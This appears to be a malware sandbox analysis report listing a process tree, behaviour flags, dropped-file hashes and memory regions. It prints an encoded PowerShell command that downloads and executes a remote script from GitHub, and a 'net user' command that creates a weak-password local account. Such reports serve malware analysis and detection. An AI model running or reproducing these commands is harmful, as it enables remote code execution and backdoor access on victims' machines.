C:\Windows\System32\cmd.execmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA1⤵
-
C:\Windows\system32\cmd.execmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA3⤵
- Blacklisted process makes network request
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.execmd.exe /C net user wgautilacc 12341⤵
-
C:\Windows\system32\net.exenet user wgautilacc 12342⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user wgautilacc 12343⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\RES3BF7.tmpMD5
d2f39b974e719b5411eeafb12debf374
SHA19cac71c4b0e8cea19273aece6e5865669fd3ae63
SHA256c6509072d29fb268bf19848a3d991ca99efec54833066639ba39799a632f1dfa
SHA512bb98b990f29b5b46e0fb66d50389418caabeb73c2e13fede68e194c08bf837522505cd78691f02411b91c7970928832e8cce6c4fcdf82745e32c49d6b4a65222
-
C:\Users\Admin\AppData\Local\Temp\get-points.ps1MD5
bcac3bbb18f093dbc8e5e76d2675695f
SHA196453f65b41e428937349e6f48fe67d6dfd6a580
SHA256b25768626991b9a33e3ada79e3beb92fa5d83e1b50f2820e6fa2d6cf4827b21a
SHA51278c55502c7d0484b458fadb78bc075b8eda01b794e2037283df11dc58105bd632c0e747e92fd7aac7b79c5ac0ddce9bb2c6e7ce158c743c9f080a52eda0498ab
-
C:\Users\Admin\AppData\Local\Temp\get-points.zipMD5
42c2a160d2d191e6ffcc1076b4734ee2
SHA1c8a71ddb77c6bad039fbb041bbf7ea2021ca9d49
SHA2562b8aebe68161f07e7029bac05eeeb009455553731baf60b447d0d4aaa9fded99
SHA5123b9de3ad6cbe4db3958564b4bd37a45e6aa3a62a4a6e6756d6e997a9cc9c2dca31053e9e0aa300c1660b72332eb1f677f6b65762825ac68a99a55d06043e0939
-
C:\Users\Admin\AppData\Local\Temp\r1hxvtci\r1hxvtci.dllMD5
dd6160d1f4f026c1e3b89bc205540f6d
SHA18e9fee844bc81c7873925817c6b47efc0224f953
SHA2567d7dd775f8353c8b86a9ea619e230f606fa3152fe336e53e04f64ec72a3738bc
SHA51218d62d7707041f5cb88b7b94b6c98fc07e12e34835f3e4fb10951abb21001ec0c9fa80ecd1c3f28418374c0d06cf303be90416d0beb773657e58547fa4c84cf5
-
C:\Windows\system32\rfxvmt.dllMD5
dc39d23e4c0e681fad7a3e1342a2843c
SHA158fd7d50c2dca464a128f5e0435d6f0515e62073
SHA2566d9a41a03a3bd5362e3af24f97ba99d2f9927d1375e4f608942a712866d133b9
SHA5125cb75e04ce9f5c3714e30c4fd5b8dbcd3952c3d756556dd76206111fe5b4e980c6c50209ab0914ab3afe15bd9c33ff0d49463ca11547214122859918de2a58f7
-
\??\PIPE\lsarpcMD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
-
\??\PIPE\samrMD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
-
\??\c:\Users\Admin\AppData\Local\Temp\r1hxvtci\CSCA132DEDDA2F54D919A2D88CA7A49F48.TMPMD5
abb41a0bf0b4b4d160780162d50bd46a
SHA14bf28d6c2b21577539ec0c6c6030fc0cb6a0c4c4
SHA25694e949a2a5a245c4105422705538fe7428d56ef2fcc37e2eb99ba4181a2a7d76
SHA5121e922802d19a6677151c3ed30e6343af393035677191105e71bba2f2c2842bd7593064d9b03f55ace0e5137cee0c8d06d0cdddafab0d1f8632423c322672cd8f
-
\??\c:\Users\Admin\AppData\Local\Temp\r1hxvtci\r1hxvtci.0.csMD5
6f235215132cdebacd0f793fe970d0e3
SHA12841e44c387ed3b6f293611992f1508fe9b55b89
SHA256ccad602538354ee5bbc78ab935207c36ba9910da1a7b5a10ff455e34e15f15ec
SHA512a14657bc5be862a96c1826347b551e07b47ffa6ffd7e12fbfc3437b9a48e8b8e020ae71b8ef836c357d9db6c065da962a6141272d9bc58b76a9eb9c11553d44e
-
\??\c:\Users\Admin\AppData\Local\Temp\r1hxvtci\r1hxvtci.cmdlineMD5
0fa68b86234547775e7082a89c969f3c
SHA1185f02e4a37b7b90dcdcac51ff8fcbfc0b3edb99
SHA2566a15ada80f9df9f6fd5a056d21eff91f795ede66828e1de39f3f4a38b48542b9
SHA512c158ce60e47815aa16d6f2f9dffe0471f0b61071e0f1ddb1166ee03f5e4d1212733bf5651a9fb77ba5441c317adf6e18ed103a94283d77f449cea6fb939ffc57
-
\Windows\Branding\mediasrv.pngMD5
f357d4e7b83bc0a41c65d97f3e6f50f4
SHA171db3180a8ada6d5d7722c54a5940c3490f78636
SHA256db0b525a0871cd413d9e1e4a31568b10344aa996823a22e85179ea4dab11afba
SHA512566bc45578f2754b4330fc2721d24aef95ae25ef258d56b00c8cb585061f89386a5d27245d301ea0d479797a42f0487605c294008a6d33559634b5e35f4b4e8e
-
\Windows\Branding\mediasvc.pngMD5
d5de6f599d9807bac2f5a8e751a8c38f
SHA19e70edf56b6a5768fda84232e9c557e750d3631b
SHA25618207938b456352ad540ed62fb113b7b11025a6d2b1de08728772c24c8553fca
SHA512e526e3a75be31762bb5fc01f4450ff48391fe36a1e71aef6a89d3f262e523e2f7654501f43667a3e982a05835418e72ae26ec3ba955b8537a700e69e82337fc5
-
memory/304-116-0x0000000000000000-mapping.dmp
-
memory/316-44-0x0000000000000000-mapping.dmp
-
memory/332-54-0x0000000000000000-mapping.dmp
-
memory/336-13-0x0000000000000000-mapping.dmp
-
memory/400-65-0x0000000000000000-mapping.dmp
-
memory/400-50-0x0000000000000000-mapping.dmp
-
memory/436-51-0x0000000000000000-mapping.dmp
-
memory/460-115-0x0000000000000000-mapping.dmp
-
memory/556-66-0x0000000000000000-mapping.dmp
-
memory/640-58-0x0000000000000000-mapping.dmp
-
memory/756-45-0x0000000000000000-mapping.dmp
-
memory/776-56-0x0000000000000000-mapping.dmp
-
memory/888-75-0x0000000000000000-mapping.dmp
-
memory/892-68-0x0000000000000000-mapping.dmp
-
memory/1088-46-0x0000000000000000-mapping.dmp
-
memory/1100-39-0x0000000000000000-mapping.dmp
-
memory/1112-36-0x0000000000000000-mapping.dmp
-
memory/1124-52-0x0000000000000000-mapping.dmp
-
memory/1124-67-0x0000000000000000-mapping.dmp
-
memory/1172-73-0x0000000000000000-mapping.dmp
-
memory/1192-53-0x0000000000000000-mapping.dmp
-
memory/1216-49-0x0000000000000000-mapping.dmp
-
memory/1256-74-0x0000000000000000-mapping.dmp
-
memory/1256-85-0x0000000000000000-mapping.dmp
-
memory/1256-48-0x0000000000000000-mapping.dmp
-
memory/1416-64-0x0000000000000000-mapping.dmp
-
memory/1500-55-0x0000000000000000-mapping.dmp
-
memory/1540-76-0x0000000000000000-mapping.dmp
-
memory/1576-57-0x0000000000000000-mapping.dmp
-
memory/1600-42-0x0000000000000000-mapping.dmp
-
memory/1604-70-0x0000000000000000-mapping.dmp
-
memory/1608-41-0x0000000000000000-mapping.dmp
-
memory/1616-63-0x0000000000000000-mapping.dmp
-
memory/1624-7-0x00000000025D0000-0x00000000025D1000-memory.dmpFilesize
4KB
-
memory/1624-9-0x000000001C130000-0x000000001C131000-memory.dmpFilesize
4KB
-
memory/1624-18-0x00000000026A0000-0x00000000026A1000-memory.dmpFilesize
4KB
-
memory/1624-2-0x0000000000000000-mapping.dmp
-
memory/1624-3-0x000007FEF4E00000-0x000007FEF57EC000-memory.dmpFilesize
9.9MB
-
memory/1624-33-0x0000000001EB0000-0x0000000001EB1000-memory.dmpFilesize
4KB
-
memory/1624-34-0x0000000001EC0000-0x0000000001EC1000-memory.dmpFilesize
4KB
-
memory/1624-17-0x0000000001FD0000-0x0000000001FD1000-memory.dmpFilesize
4KB
-
memory/1624-4-0x0000000001F80000-0x0000000001F81000-memory.dmpFilesize
4KB
-
memory/1624-21-0x000000001B5B0000-0x000000001B5B1000-memory.dmpFilesize
4KB
-
memory/1624-38-0x0000000001E80000-0x0000000001E90000-memory.dmpFilesize
64KB
-
memory/1624-5-0x000000001AD00000-0x000000001AD01000-memory.dmpFilesize
4KB
-
memory/1624-35-0x000000001B6E0000-0x000000001B6E1000-memory.dmpFilesize
4KB
-
memory/1624-6-0x0000000002520000-0x0000000002521000-memory.dmpFilesize
4KB
-
memory/1640-84-0x0000000000000000-mapping.dmp
-
memory/1640-43-0x0000000000000000-mapping.dmp
-
memory/1640-62-0x0000000000000000-mapping.dmp
-
memory/1644-47-0x0000000000000000-mapping.dmp
-
memory/1656-10-0x0000000000000000-mapping.dmp
-
memory/1660-77-0x0000000000000000-mapping.dmp
-
memory/1748-61-0x0000000000000000-mapping.dmp
-
memory/1928-40-0x0000000000000000-mapping.dmp
-
memory/1936-1-0x00000000023E0000-0x00000000023F1000-memory.dmpFilesize
68KB
-
memory/1936-0-0x00000000020A0000-0x00000000023DD000-memory.dmpFilesize
3.2MB
-
memory/1948-69-0x0000000000000000-mapping.dmp
-
memory/2020-96-0x00000000011E0000-0x00000000011E1000-memory.dmpFilesize
4KB
-
memory/2020-94-0x0000000000EA0000-0x0000000000EA1000-memory.dmpFilesize
4KB
-
memory/2020-95-0x0000000001080000-0x0000000001081000-memory.dmpFilesize
4KB
-
memory/2020-78-0x0000000000000000-mapping.dmp
-
memory/2020-97-0x0000000001090000-0x0000000001091000-memory.dmpFilesize
4KB
-
memory/2020-98-0x0000000019450000-0x0000000019451000-memory.dmpFilesize
4KB
-
memory/2020-105-0x0000000019670000-0x0000000019671000-memory.dmpFilesize
4KB
-
memory/2020-106-0x000000001A100000-0x000000001A101000-memory.dmpFilesize
4KB
-
memory/2020-113-0x00000000196A0000-0x00000000196A1000-memory.dmpFilesize
4KB
-
memory/2020-114-0x000000001A190000-0x000000001A191000-memory.dmpFilesize
4KB
-
memory/2020-89-0x00000000011A0000-0x00000000011A1000-memory.dmpFilesize
4KB
-
memory/2020-79-0x000007FEF4E00000-0x000007FEF57EC000-memory.dmpFilesize
9.9MB